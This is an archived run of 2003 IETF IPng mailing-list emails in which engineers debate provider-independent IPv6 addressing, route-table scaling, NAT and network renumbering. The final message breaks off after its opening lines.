Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0QCXrpE019280;
	Sun, 26 Jan 2003 04:33:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0QCXn16019272
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 04:33:49 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0QCXwgE001633
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 04:33:58 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA10415;
	Sun, 26 Jan 2003 04:33:53 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.5])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id EAA17705;
	Sun, 26 Jan 2003 04:32:52 -0800 (PST)
Message-Id: <5.1.0.14.2.20030126073049.034da318@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 26 Jan 2003 07:32:05 -0500
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Taking two steps back (Was: Re: one question...)
Cc: Erik Nordmark <Erik.Nordmark@Sun.COM>, ipng@sunroof.eng.sun.com
In-Reply-To: <20030122095011.GD285@rvdp.org>
References: <Roam.SIMC.2.0.6.1043202859.17676.nordmark@bebop.france>
 <5.1.0.14.0.20021126092449.015d2d60@mail.windriver.com>
 <Roam.SIMC.2.0.6.1043202859.17676.nordmark@bebop.france>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


On Wed, Jan 22, 2003 at 03:34:19 +0100, Erik Nordmark wrote:

 > Granted that this is a hard problem, but we seem to be spending emails
 > on multiple subsets of this problem (in different WGs) thus I think it
 > would be worth-while to concentrate thinking on the identifier/locator
 > separation problem.

I agree.  How/where do you suggest that we do this?

Margaret


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 04:33:58 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0QCXw16019290;
	Sun, 26 Jan 2003 04:33:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0QCXviX019289;
	Sun, 26 Jan 2003 04:33:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0QCXq16019279
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 04:33:52 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0QCXv4w023395
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 04:33:57 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA17854;
	Sun, 26 Jan 2003 04:33:52 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.5])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id EAA17694;
	Sun, 26 Jan 2003 04:32:50 -0800 (PST)
Message-Id: <5.1.0.14.2.20030126070456.03451d80@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 26 Jan 2003 07:30:19 -0500
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Enforcing unreachability of site local addresses 
Cc: Keith Moore <moore@cs.utk.edu>, alh-ietf@tndh.net,
   ipng@sunroof.eng.sun.com
In-Reply-To: <Roam.SIMC.2.0.6.1043212117.30159.nordmark@bebop.france>
References: <"Your message with ID" <200212050213.gB52D8j08421@astro.cs.utk.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>I think, but I'm not sure, that this assumes that we will have a scalable PI
>scheme some time in the future (presumably by separating PI identifiers
>from PA locators).

Actually, this is quite tricky...

If we _don't_ allocate PI addresses soon, enterprises will demand
IPv6 NAT to allow them to use provider-independent internal numbering.
This is the model that they use today, and they will probably continue
to use it unless a more compelling model (such as provider-independent
globally-routable addressing) is available.

But, if we do allocate PI addresses soon, we will need to do that without
any certainty that we can come up with a scalable PI routing scheme.  So,
we may be creating a serious scaling problem further down the road.  There
is no good way to predict when we would hit this scaling problem, as
that will depend on many factors including the rate of adoption of IPv6,
the number of PI addresses allocated/used, the rate of increase in the
speed/memory size of routers.  But, I've been told by ISPs who lived
through the CIDR transition in IPv4 that this _really_ isn't something
that we want to repeat for IPv6.

If/when we do find a solution to the route scaling problem, there is no
real assurance that it will be backwards compatible with existing IPv6
address allocations.  In fact, it may even require changes to the IPv6
protocol.

Some folks have argued that easy renumbering would eliminate the need
for enterprises to have provider-independent addressing, but I don't
agree.  Addresses are stored in many places in the network besides
the interfaces of routers and hosts, such as access control lists,
configuration files, .hosts files, DNS configurations, ACL lists, etc.
In many cases, addresses are stored in nodes on other subnets.  So,
being able to renumber the interfaces of hosts and routers on a
particular network or subnet doesn't even solve half of the problem.

So, what do we do?

Choices seem to be:

         (A) Continue with PA addressing, and accept that enterprises will
                 use IPv6 NAT to get provider-independence.
         (B) Allocate PI addresses, and trust that we can determine a
                 scalable PI routing scheme before we hit route scaling
                 issues in the IPv6 backbone.

NAT has huge costs, making the Internet more expensive and less efficient,
affecting the resiliency of networks, and limiting our ability to deploy
secure, innovative Internet applications and services.  It does solve
the route scaling issues, but the cure may be worse than the disease.
We may be able to solve the route scaling issues in a less damaging way
later, but once folks start deploying IPv6 NAT on a large scale, we
will never be able to get rid of it.

So, I would make an informed decision to pursue choice (B), in full
knowledge that it might create a route scaling issue further down the road.
I'm not sure that we'll ever reach anything resembling "IETF consensus" on
that choice, though.

Margaret







At 06:08 AM 1/22/2003 +0100, Erik Nordmark wrote:
> > I suspect we all agree that crushing the routing system would be bad .
> > It seems like the question is what mechanism (other than ambiguity)
> > would be sufficient to prevent that happening.
>
>Assuming we have the "SHOULD NOT be routed globally" in the spec.
>
>Then if the PI addresses come from a different space than the PA addresses
>I think there is a way out.
>When the routing gets strained ISPs can unilaterally decide to filter out
>PI routes (or have a different prefix length filter for the PI space
>than for the PA space).
>
>ISPs are unlikely to do this for the PI routes their direct customers are
>using, since it would upset their customers. But they should be able to do it
>for the PI routes coming from elsewhere. And the ISPs could do this type of
>filtering on the PI space from day one - "pay me money if you want me to
>carry your PI route" - on an individual ISP basis.
>
>Could this work?
>
>I think, but I'm not sure, that this assumes that we will have a scalable PI
>scheme some time in the future (presumably by separating PI identifiers
>from PA locators).
>
>   Erik
>
>
>--------------------------------------------------------------------
>IETF IPng Working Group Mailing List
>IPng Home Page:                      http://playground.sun.com/ipng
>FTP archive:                      ftp://playground.sun.com/pub/ipng
>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>--------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 12:57:02 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0QKv216020732;
	Sun, 26 Jan 2003 12:57:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0QKv2Pf020731;
	Sun, 26 Jan 2003 12:57:02 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0QKux16020724
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 12:56:59 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0QKv8gE007244
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 12:57:08 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA15967
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 13:57:00 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id PAA05399;
	Sun, 26 Jan 2003 15:56:56 -0500 (EST)
Date: Sun, 26 Jan 2003 15:56:56 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301262056.PAA05399@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret Wasserman <mrw@windriver.com> wrote:

|But, if we do allocate PI addresses soon, we will need to do that without
|any certainty that we can come up with a scalable PI routing scheme.

Do you really think that there is any question of whether we could if we
actually wanted to?  The arguments that it is impossible always come from
people who start with the two assumptions that (a) routing must be done with
the same centralized full-knowledge model that we use now and (b) hardware
absolutely cannot keep up with the mild linear growth of routes in users.
This is an obviously self-fulfilling prophecy, but it has been used to
justify trading linear route growth in users for exponential address usage
in height of provider chain.  I think this was a very bad trade to make and
that it will guarantee a perpetual shortage of address space no matter how
many (fixed) bits we start with at the top of the chain.

Previously I proposed (in some detail) a mechanism to retrofit portable
identifiers to IPv6.  I suspect that it is isomorphic to some distributed
routing schemes, but keeping the addressing mechanism separate from the
routing mechanism makes it easier to evaluate certain characteristics of
the solution.  I'm not claiming that this is the right scheme to implement
(especially given that a patent seems to have been issued for a subset of
the method over a year after I described it) but it does have a property
that makes it worth thinking about, at least in the abstract.  Although
there is no obvious way to prove that my method ultimately scales in the
face of increasing renumbering, my method makes no more demand on its
mapping infrastructure than does the DNS.  Thus if my method is doomed then
so is the DNS, or, looking at it differently, we would have to solve the
same problem for the DNS to keep it working in the face of renumbering.

|But, I've been told by ISPs who lived
|through the CIDR transition in IPv4 that this _really_ isn't something
|that we want to repeat for IPv6.

I wonder what they meant by that?  The CIDR(*) transition was terrible for end
users but ultimately a great boon to ISPs.  Recall that we were promised that
CIDR addresses would be _portable_ because the whole exercise was just a
temporary stopgap measure until the hardware caught up.  We were supposed to
be able to take our ISP-assigned CIDR block and move it to a different ISP,
with the assumption being that this would happen slowly enough that CIDR would
keep the table growth under control until the hardware caught up.  How long
did that promise last?  A couple of months?  As soon as the economic benefits of
binding addresses to ISPs became obvious all those CIDR blocks became non-
portable and have remained so ever since, massive advances in hardware capacity
notwithstanding.  This particular history is part of the reason that I'm so
skeptical about the claims of ready availability of stable global addresses to
end users under v6--economic considerations often trump technical ones.

(*) I use the term CIDR because it is popular, but CIDR itself isn't the
problem.  CIDR is just a slightly different way of looking at netmasks.
The problem is the hierarchical address allocation required to make route
aggregation pay off.

|Some folks have argued that easy renumbering would eliminate the need
|for enterprises to have provider-independent addressing, but I don't
|agree.  Addresses are stored in many places in the network besides
|the interfaces of routers and hosts, such as access control lists,
|configuration files, .hosts files, DNS configurations, ACL lists, etc.
|In many cases, addresses are stored in nodes on other subnets.  So,
|being able to renumber the interfaces of hosts and routers on a
|particular network or subnet doesn't even solve half of the problem.

Those who earnestly argue that easy renumbering would eliminate the need
for PI address space (and please don't confine the need to enterprises--
the stability of my home network is more important to me than that of any
enterprise) are typically talking about a complete solution that would
pervade all the areas that you mention and would require massive interaction
with a variety of tools.  IMHO this is not impossible, but those that claim
that it is an easier problem than the PI route problem or even the site local
semantic problem are way off base.

|So, what do we do?
|
|Choices seem to be:
|
|         (A) Continue with PA addressing, and accept that enterprises will
|                 use IPv6 NAT to get provider-independence.

Sufficiently large enterprises will get their own address space by (if
necessary) claiming to be higher-level ISPs.

[...]

|I'm not sure that we'll ever reach anything resembling "IETF consensus" on
|that choice, though.

Given the strong voices that oppose anything that would change the economic
status quo, you are almost certainly correct.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 18:38:10 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R2cA16021310;
	Sun, 26 Jan 2003 18:38:10 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0R2cA7w021309;
	Sun, 26 Jan 2003 18:38:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R2c716021302
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 18:38:07 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0R2cG4w022983
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 18:38:16 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA21672
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 18:38:10 -0800 (PST)
Subject: RE: Enforcing unreachability of site local addresses 
Date: Sun, 26 Jan 2003 18:38:10 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B6A@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
Content-class: urn:content-classes:message
X-MS-TNEF-Correlator: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: Enforcing unreachability of site local addresses 
Thread-Index: AcLFODYTZzS4aVhmREa4/bq5KfqmKAAbRVzg
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Margaret Wasserman" <mrw@windriver.com>,
   "Erik Nordmark" <Erik.Nordmark@Sun.COM>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0R2c716021303
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret,

> Margaret Wasserman wrote:
> Actually, this is quite tricky...
> [snip]

I generally agree with the analysis you posted.

> Choices seem to be:
> (A) Continue with PA addressing, and accept that enterprises
>     will use IPv6 NAT to get provider-independence.
> (B) Allocate PI addresses, and trust that we can determine a
>     scalable PI routing scheme before we hit route scaling
>     issues in the IPv6 backbone.
> So, I would make an informed decision to pursue choice (B),
> in full knowledge that it might create a route scaling issue
> further down the road.

I will point out that you will never be able to clean out PI addresses
after they have been allocated. Furthermore, giving PI addresses will
inevitably trigger a land rush as they will always be more convenient
that any ID/LOC scheme we might come up with; anyone will want one.
Contrary to IPv4 size will not matter for most. If we go the (B) road
we'll end up with a large number of /48s in the global routing table,
which is definitely *NOT* what the design of IPv6 is.


> So, I would make an informed decision to pursue choice (B)

This is not the time for a post-mortem choice yet. We still have some
time. Not much, but some.

The current course of action of the IETF is:
(C) Put my head in the sand and pretend that the problem is not urgent.

I would like to see a more positive attitude here. The battle is not
lost yet and there are things that can be done before we relunctantly go
the (B) way. If we go the (B) way now, there is no more way back than
there is with NAT.

==> (C) Finally do something about IPv6 multihoming.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 20:43:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R4hY16021545;
	Sun, 26 Jan 2003 20:43:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0R4hYLs021544;
	Sun, 26 Jan 2003 20:43:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R4hT16021537
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 20:43:30 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0R4hcVL007263
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 20:43:39 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA03151
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 21:43:33 -0700 (MST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id UAA29046;
	Sun, 26 Jan 2003 20:44:36 -0800 (PST)
Received: from feller.mentat.com (feller [192.88.122.144])
	by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id UAA28326;
	Sun, 26 Jan 2003 20:44:36 -0800 (PST)
Received: (from tim@localhost)
	by feller.mentat.com (8.9.3+Sun/8.9.3) id UAA22792;
	Sun, 26 Jan 2003 20:48:15 -0800 (PST)
Date: Sun, 26 Jan 2003 20:48:15 -0800 (PST)
From: Tim Hartrick <tim@mentat.com>
Message-Id: <200301270448.UAA22792@feller.mentat.com>
To: ipng@sunroof.eng.sun.com, ipng-incoming@danlan.com
Subject: Re: Enforcing unreachability of site local addresses
X-Sun-Charset: US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



Dan, Margaret,

> 
> |Some folks have argued that easy renumbering would eliminate the need
> |for enterprises to have provider-independent addressing, but I don't
> |agree.  Addresses are stored in many places in the network besides
> |the interfaces of routers and hosts, such as access control lists,
> |configuration files, .hosts files, DNS configurations, ACL lists, etc.
> |In many cases, addresses are stored in nodes on other subnets.  So,
> |being able to renumber the interfaces of hosts and routers on a
> |particular network or subnet doesn't even solve half of the problem.
> 
> Those who earnestly argue that easy renumbering would eliminate the need
> for PI address space (and please don't confine the need to enterprises--
> the stability of my home network is more important to me than that of any
> enterprise) are typically talking about a complete solution that would
> pervade all the areas that you mention and would require massive interaction
> with a variety of tools.  IMHO this is not impossible, but those that claim
> that it is an easier problem than the PI route problem or even the site local
> semantic problem are way off base.
> 

Indeed.  Providing a complete solution for renumbering a network is a non-
trivial problem but the need for a complete solution has always been implicit
given that the only game in town has been PA addresses.  Site-local addresses,
in spite of what has been claimed on this list, were always viewed as a way
to ease some of the burden of renumbering by allowing internal communication,
and configuration to be stable across renumbering.  The fact that this group
hasn't made as much progress in this area as it might have is a testament
to the difficulty of the problem and in some cases a lack of understanding
of how essential it was if only PA addresses were going to be available.

It is obvious that PI addresses offer substantial advantages to end users and
protocol designers alike.  If we don't have to solve the general renumbering
problem we will be very lucky indeed.  I would love to avoid reading the
mountain of protocol specifications that will be required to provide a complete
renumbering solution.

There seem to be at least a couple of possible PI schemes that are being or
have been kicked around in the past.  Dan referenced a solution that he has
worked on and Tony Hain's geographic scheme, while currently targetted at the
multi-homing problem, might well offer a solution.  If we are seriously con-
sidering doing PI allocations then we should probably start the process of
collecting proposals for how to make it scale.




Tim Hartrick
Mentat Inc.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 21:08:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R58x16021799;
	Sun, 26 Jan 2003 21:08:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0R58x4K021798;
	Sun, 26 Jan 2003 21:08:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R58u16021791
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 21:08:56 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0R595VL010195
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 21:09:05 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA16173
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 21:09:00 -0800 (PST)
Subject: RE: Enforcing unreachability of site local addresses
Date: Sun, 26 Jan 2003 21:08:59 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B6B@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
Content-class: urn:content-classes:message
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLFv065/uBPh411QaKGZCnmlz3iugAAZvYA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Tim Hartrick" <tim@mentat.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0R58u16021792
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Tim / Margaret,

> Tim Hartrick wrote:
> If we are seriously considering doing PI allocations then
> we should probably start the process of collecting
> proposals for how to make it scale.

This is the semantics police speaking:
PI = Does *NOT* scale.

Tim, I don't doubt your intentions, but please don't call it scalable
PI. There is no such thing. Please call it GAPI, GUPI, xxPI but not PI.


> Margaret Wasserman wrote:
> This is the crux of why I believe that we will need to find a
> way to return to stable, provider-independent, globally-routable
> addresses to avoid NAT in IPv6.

Same here. I did not comment on this before, but I think that what
Margaret really means here is:

  > This is the crux of why I believe that we will need to find a
| > way to return to **A SYSTEM THAT PROVIDES THE PERKS OF** stable,
  > provider-independent, globally-routable addresses to avoid NAT
  > in IPv6.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 21:18:33 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R5IX16021973;
	Sun, 26 Jan 2003 21:18:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0R5IWWV021972;
	Sun, 26 Jan 2003 21:18:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R5IT16021959
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 21:18:29 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0R5IbVL011590
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 21:18:38 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA20916
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 22:18:31 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id AAA06750
	for ipng@sunroof.eng.sun.com; Mon, 27 Jan 2003 00:18:30 -0500 (EST)
Date: Mon, 27 Jan 2003 00:18:30 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301270518.AAA06750@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: RE: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"Michel Py" <michel@arneill-py.sacramento.ca.us> wrote:

|This is the semantics police speaking:
|PI = Does *NOT* scale.

Please define "PI".

Please define "scale".

(If your usage in unconventional, please define "*NOT*".)

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan 26 22:27:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R6Rj16022307;
	Sun, 26 Jan 2003 22:27:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0R6Rikv022306;
	Sun, 26 Jan 2003 22:27:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R6Rf16022299
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 22:27:41 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0R6RoVK021791
	for <ipng@sunroof.eng.sun.com>; Sun, 26 Jan 2003 22:27:50 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA12842;
	Sun, 26 Jan 2003 22:27:44 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0R6RZr11787;
	Mon, 27 Jan 2003 08:27:35 +0200
Date: Mon, 27 Jan 2003 08:27:34 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Margaret Wasserman <mrw@windriver.com>
cc: Erik Nordmark <Erik.Nordmark@Sun.COM>, Keith Moore <moore@cs.utk.edu>,
   <alh-ietf@tndh.net>, <ipng@sunroof.eng.sun.com>, <multi6@ops.ietf.org>
Subject: renumbering/multi-addressing [Re: Enforcing unreachability of site
 local addresses] 
In-Reply-To: <5.1.0.14.2.20030126070456.03451d80@mail.windriver.com>
Message-ID: <Pine.LNX.4.44.0301270816230.11668-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hello,

I added multi6 on Cc: list for this particular piece of the thread.

On Sun, 26 Jan 2003, Margaret Wasserman wrote:
[...]
